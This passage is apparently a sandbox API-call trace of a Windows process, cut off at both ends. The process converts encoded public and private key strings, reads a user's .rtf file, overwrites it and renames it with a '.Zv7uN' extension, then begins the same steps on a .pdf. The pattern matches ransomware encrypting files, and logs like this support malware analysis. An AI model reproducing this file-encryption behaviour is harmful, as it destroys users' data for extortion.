lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.666] GetCurrentThreadId () returned 0xa30 [0088.666] GetCurrentThreadId () returned 0xa30 [0088.666] GetCurrentThreadId () returned 0xa30 [0088.666] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.666] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.667] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.667] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x169a9 [0088.667] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.667] ReadFile (in: hFile=0x128, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x169a9, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x169a9, lpOverlapped=0x0) returned 1 [0088.669] CloseHandle (hObject=0x128) returned 1 [0088.671] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.673] WriteFile (in: hFile=0x128, lpBuffer=0x1f46790*, nNumberOfBytesToWrite=0x169a9, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f46790*, lpNumberOfBytesWritten=0x18f114*=0x169a9, lpOverlapped=0x0) returned 1 [0088.699] CloseHandle (hObject=0x128) returned 1 [0088.700] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\vUCHxYZhOfXC.rtf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\vuchxyzhofxc.rtf.zv7un")) returned 1 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] GetCurrentThreadId () returned 0xa30 [0088.701] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a37570, ftCreationTime.dwHighDateTime=0x1d5e7d9, ftLastAccessTime.dwLowDateTime=0xe6acb900, ftLastAccessTime.dwHighDateTime=0x1d5e2a8, ftLastWriteTime.dwLowDateTime=0xe6acb900, ftLastWriteTime.dwHighDateTime=0x1d5e2a8, nFileSizeHigh=0x0, nFileSizeLow=0xce24, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_sTXIMggYSPV.pdf", cAlternateFileName="_STXIM~1.PDF")) returned 1 [0088.701] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0088.701] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0088.701] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a37570, ftCreationTime.dwHighDateTime=0x1d5e7d9, ftLastAccessTime.dwLowDateTime=0xe6acb900, ftLastAccessTime.dwHighDateTime=0x1d5e2a8, ftLastWriteTime.dwLowDateTime=0xe6acb900, ftLastWriteTime.dwHighDateTime=0x1d5e2a8, nFileSizeHigh=0x0, nFileSizeLow=0xce24)) returned 1 [0088.701] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf")) returned 0x20 [0088.701] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf", dwFileAttributes=0x80) returned 1 [0088.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f158fc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.705] GetCurrentThreadId () returned 0xa30 [0088.705] GetCurrentThreadId () returned 0xa30 [0088.705] GetCurrentThreadId () returned 0xa30 [0088.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.706] GetCurrentThreadId () returned 0xa30 [0088.706] GetCurrentThreadId () returned 0xa30 [0088.706] GetCurrentThreadId () returned 0xa30 [0088.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\_sTXIMggYSPV.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\_stximggyspv.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0088.706] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0088.707] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.707] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0xce24 [0088.707] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0088.707] ReadFile (in: 